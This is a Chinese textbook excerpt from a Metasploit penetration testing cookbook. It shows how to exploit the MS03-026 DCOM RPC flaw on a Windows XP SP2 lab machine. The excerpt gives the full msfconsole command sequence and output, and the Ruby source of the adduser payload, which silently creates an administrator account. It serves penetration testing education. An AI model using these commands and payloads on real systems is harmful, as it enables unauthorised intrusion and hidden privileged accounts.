《Metasploit渗透测试手册》—第3章3.3节 在Windows XP SP2上进行渗透测试8.7 使用Metasploit进行模糊测试

3.3 在Windows XP SP2上进行渗透测试8.7 使用Metasploit进行模糊测试
Metasploit渗透测试手册
本节中我们将介绍如何使用Metasploit攻陷运行着Windows XP操作系统的目标机器,其中需要使用前面章节中讲到的一些命令,进一步选择漏洞利用代码和攻击载荷,并设置各种必需的参数。

准备
首先在msfconsole中进行渗透测试过程。启动控制台,扫描端口搜集目标机器的信息,前面已经详细讨论过端口扫描的相关内容,这里假设已搜集到目标机器的信息,并确定其运行的是Windows XP操作系统,接下来选择漏洞利用代码和攻击载荷。

怎样实现
若要在Windows XP SP2上进行渗透测试,需遵循如下步骤。

(1)主要目标是选择可用于Windows XP的漏洞利用代码,用户可以浏览/exploits/ window目录,或简单地搜索有哪些可用于Windows XP的漏洞利用代码。我们将使用RPC dcom漏洞对目标进行渗透,所以先对RPC dcom漏洞进行搜索,可使用如下命令。

msf  exploit(ms03_026_dcom) > search dcom
Matching Modules
================
  Name                   Disclosure Date   Rank  Description
  ----                   --------------    ---   ----------- 
  exploit/windowsdcerpc/ms03_026_dcom    2003-07-16    great  Microsoft RPC
xploit/windows/driver/broadcom_wifi_ssid  2006-11-11    low    Broadcom Wireless
xploit/windows/smb/ms04_031_netdde     2004-10-12    good   Microsoft NetDDE

从结果可以看到,共搜索到3个相关的结果。选择使用第一个,因为该漏洞利用代码的评级为great,预示着使用该漏洞利用代码成功的几率更大。

(2)为将exploit/windows/dcerpc/ms03_026_dcom设置为可用的漏洞利用代码,可执行如下命令。

msf  exploit(ms03_026_dcom) > use exploit/windows/dcerpc/ms03_026_dcom
msf  exploit(ms03_026_dcom) >

命令行提示符的改变表明该命令已经运行成功。

(3)下一步为该漏洞利用代码设置必要的参数,show options命令可以列出该漏洞利用代码的可用参数,之后使用set命令即可对参数进行设置,其中一些参数会有默认值。

msf  exploit(ms03_026_dcom) > show options
Module options (exploit/windows/dcerpc/ms03_026_dcom):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                      yes        The target address
   RPORT  135                yes        The target port
Exploit target:
   Id  Name
   --  ----
   0   Windows NT SP3-6a/2000/XP/2003 Universal

这里,RHOST用于指定远程目标主机的IP地址,RPORT用于指定默认的绑定端口。默认情况下,RPORT的值设置为135端口,我们需要将RHOST设置为实际的目标主机IP地址。

msf  exploit(ms03_026_dcom) > set RHOST 192.168.56.102
RHOST => 192.168.56.102
msf  exploit(ms03_026_dcom) >

注意ms03_026_dcom漏洞利用代码的ID设置为0,这意味着不需要指定目标上运行的具体Windows类型,本漏洞利用代码适用于该项目列出的所有Windows版本。其他的漏洞利用代码一般都需要使用show targets命令来选择目标操作系统。
目前,RHOST的值已经被设置为目标IP地址,如果此时运行漏洞利用代码,会产生错误消息,因为还没有为该漏洞利用代码选择攻击载荷。

(4)下一步选择合适的攻击载荷,可以使用命令show payloads列出所有可用的攻击载荷。这里选择使用简单的windows/adduser攻击载荷,其功能是在目标机器操作系统中添加新用户。

msf  exploit(ms03_026_dcom) > set PAYLOAD windows/adduser
PAYLOAD => windows/adduser

(5)再次运行show options命令,将列出漏洞利用代码与攻击载荷的所有参数。攻击载荷参数形式如下所示。

Payload options (windows/adduser):
   Name      Current Setting  Required       Description
   ----      ---------------  --------       -----------
   EXITFUNC  thread          yes        seh, thread, process,
none
   PASS      metasploit      yes        password for this user
   USER      metasploit       yes        The username to create

从结果可以看到,添加到目标操作系统中的缺省用户名和口令都是metasploit,如果要更改这些值,可以使用set PASS命令和set USER命令。

(6)攻击载荷已经设置完成,下面可以对目标机器进行渗透,使用下面的命令运行该漏洞利用代码。

msf  exploit(ms03_026_dcom) > exploit
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_
tcp:192.168.56.102[135] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_
tcp:192.168.56.102[135] ...
[*] Sending exploit ...
[*] Exploit completed, but no session was created.

最后一行输出表明,漏洞利用代码在目标机器上已经成功运行完毕,并在其上添加了新用户。还可以看出,并没有创建新的会话,这是因为选用的攻击载荷是一个简单的adduser,该攻击载荷不需要活跃会话,因此,该漏洞利用代码运行后,与目标机器的连接即告终止。下一节将介绍如何使用攻击载荷建立会话。

怎样工作
在处理TCP/IP消息交换的RPC协议中存在漏洞,漏洞的成因是对畸形消息的处理存在错误,该漏洞影响分布式组件对象模型(DCOM)接口(该接口在激活了RPC的端口上进行监听),所以,需要在目标机器上存在运行RPC服务的可用端口。

该接口用于处理客户端向服务器发送的DCOM对象激活请求,成功利用该漏洞后,攻击者可在受影响系统上以本地系统权限运行任意代码,并在目标机器上执行某些操作,例如安装程序、查看/修改/删除数据,或创建高权限的用户账号。

要了解该漏洞的更多细节,可以参考如下的微软安全公告链接。

http://technet.microsoft.com/en-us/security/bulletin/ms03-026

为了理解adduser攻击载荷的工作机理,需要对该载荷的ruby代码进行分析,并找到如下位置。

root@bt:~#  cd  /pentest/exploits/framework3/modules/payloads/singles/
windows
root@bt:/pentest/exploits/framework3/modules/payloads/singles/windows#
less adduser.rb
观察下面的代码。

# Register command execution options
        register_options(

            [
                OptString.new('USER', [ true, "The
username to create", "metasploit" ]),
                OptString.new('PASS', [ true, "The
password for this user", "metasploit" ]),
            ], self.class)
          # Hide the CMD option
          deregister_options('CMD')
    end
    #
    # Override the exec command string
    #
    def command_string
         user = datastore['USER'] || 'metasploit'
         pass = datastore['PASS'] || ''

         if(pass.length > 14)
              raise ArgumentError, "Password for the adduser
payload must be 14 characters or less"
         end

         return "cmd.exe /c net user #{user} #{pass} /ADD && "
+
              "net localgroup Administrators #{user} /ADD"
    end

读者可以通过阅读#符号注释后面的介绍以理解代码的功能,上面的代码是简单。首先为用户名和口令注册相应值,然后隐藏CMD函数,以便在攻击载荷执行时不会出现在屏幕上,之后覆盖windows/exec载荷,传递参数值,并启动隐秘的命令提示符在后台执行相应命令。

读者可以根据需要对这段代码进行修改,这将有助于对攻击载荷的深入理解。

本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。

时间: 2024-08-30 02:32:26

《Metasploit渗透测试手册》—第3章3.3节 在Windows XP SP2上进行渗透测试8.7 使用Metasploit进行模糊测试的相关文章

《Metasploit渗透测试手册》—第3章3.8节 理解Windows DLL注入漏洞

3.8 理解Windows DLL注入漏洞Metasploit渗透测试手册本节将介绍一种特殊类型的漏洞,这种漏洞不直接存在于Windows操作系统中,而是存在于Windows上运行的各种应用程序软件之中.这种远程攻击方法针对的是应用程序加载外部库时存在的漏洞,下面介绍这类漏洞,以便对其进行深入分析. 准备这种攻击方法需要创建包含漏洞的目录路径,目标机器需要执行该路径以便激活该漏洞.这个目录可以是文件.提取的文件夹.USB驱动器或网络共享等.创建的文件本身是完全无害的,但会执行DLL注入漏洞来攻击

《Metasploit渗透测试手册》—第1章1.2节在Windows操作系统中配置Metasploit

1.2 在Windows操作系统中配置MetasploitMetasploit渗透测试手册在Windows系统中安装Metasploit框架非常的简单,安装程序可以从Metasploit官方网站(http://www.metasploit.com/download)上下载. 准备从官方网站上可以看到,有两种类型的安装程序可以下载,建议下载完全版的安装程序,其中包含了控制台和所有其他相关的依赖库,以及数据库和运行时环境.如果已经有配置好的供Metasploit框架使用的数据库,也可以下载迷你版的安

《高度安全环境下的高级渗透测试》—第1章1.1节什么是高级渗透测试

第1章 计划和界定一次成功的渗透测试高度安全环境下的高级渗透测试本章将介绍在对一个复杂和加固环境进行渗透测试时,该如何进行计划和准备.本章将讲解下述主题: 什么是高级渗透测试:如何成功地界定渗透测试目标:渗透测试之前需要出现哪些情况:设定你的测试范围--凡事总有结束的时候:制定执行计划:利用MagicTree进行精细管理:使用MagicTree导出各种格式的测试结果:使用Dradis进行基于团队的数据收集和信息共享:在Dradis中创建可重用的模板.1.1 什么是高级渗透测试渗透测试能有效检测你

《高度安全环境下的高级渗透测试》—第1章1.8节总结

1.8 总结在这一章中,我们讲解了一次成功的渗透测试之前所有必要的准备和计划.我们讨论了渗透测试和漏洞评估之间的区别. 详细阐述了界定恰当范围的具体步骤,这些步骤确保了在渗透测试前应该收集的信息,值得注意的是,恰当的界定范围和制定计划与测试中发现最新重大漏洞一样重要. 我们同时也讨论了如何安装VitualBox和BackTrack,不仅给出了从ISO文件安装BackTrack的必要指导,还给出了如何保持更新的指令.除此之外,我们也提供了在BackTrack上安装OpenOffice的指令. 最后

《高度安全环境下的高级渗透测试》—第1章1.7节Dradis框架介绍

1.7 Dradis框架介绍Dradis框架是一个Rails应用程序,它可以用于管理在渗透测试时出现的数据过载情况.Dradis基于Web的用户界面体验良好,它简化了渗透测试周期的数据收集过程,并且能够将数据方便地分享给团队其他成员. 在结合不同的数据源,例如Nmap.Nessus,甚至Metasploit时,你通常需要构造某种数据库,然后使用各种方法管理导入的数据.Dradis可以让你单击几下鼠标,就能通过插件导入这些数据.Dradis也允许你上传附件(例如截图),或将你自己的注释添加至数据库

《高度安全环境下的高级渗透测试》—第1章1.2节渗透测试开始之前

1.2 渗透测试开始之前在渗透测试开始之前,必须考虑一些需求:你需要界定测试的范围.时间限制和约束条件.测试的类型(白盒测试.黑盒测试).如何处理第三方的设备以及IP地址空间.渗透测试执行标准(PTES)列出一些界定范围的条款作为"前期互动"阶段的部分内容.我强烈建议你在http://www.pentest-standard.org/index.php/Pre-engagement查看这一部分的内容. 尽管这本书不直接遵循PTES进行讲解,但是我将试着将本书与PTES相关的部分关联起来

《高度安全环境下的高级渗透测试》—第1章1.4节探索BackTrack

1.4 探索BackTrack 恭喜,你现在已经拥有了世界上最强大的渗透工具集,并且已经安装好供你使用了.整本书将致力于介绍BackTrack--Linux平台上最优秀的工具集,该工具集无疑将会为你在渗透测试阶段节省大量的时间. 1.4.1 登录 安装的默认登录信息如下所示: bt login:root bt password:toor 1.4.2 修改默认密码 登录后,我们应该尽快修改默认密码.通过终端输入passwd,将密码替换为例子中的1NewPassWordHere这个密码作为你的安全密

《高度安全环境下的高级渗透测试》—第1章1.3节制订执行计划

1.3 制订执行计划一旦开始测试,你需要准备一些东西.这需要一个执行计划,你的所有设备和脚本都需要启动并处于运行状态,你还需要制定一些机制来记录所有的步骤和操作.这样也能为你自己和团队其他成员提供一个参考.你可能现在还记得绕过某台防火墙的步骤,但是当你在4个月之后面对同样的防火墙时,你还记得住么?做好记录对一次成功的渗透测试而言至关重要. 对于本书而言,我们将使用VirtualBox来回顾BackTrack套件的安装过程.VirtualBox是在GNU通用公共许可协议(GPL)保护下,由Orac

《高度安全环境下的高级渗透测试》—第1章1.5节安装OpenOffice

1.5 安装OpenOffice有时你需要打开电子表格查看IP的范围,或者需要迅速查看你的ROE.很多时候,在BackTrack中,最好让你的数据收集工具所导出的数据直接生成一个文字处理文件.目前,有很多与Microsoft Word 类似的开源软件,OpenOffice 就是一个非常好的选择.OpenOffice已经被很多公司采用,它可以输出各种文件格式.在BackTrack上安装OpenOffice只需要打开一个终端,并输入下述命令即可: # apt-get update # apt-get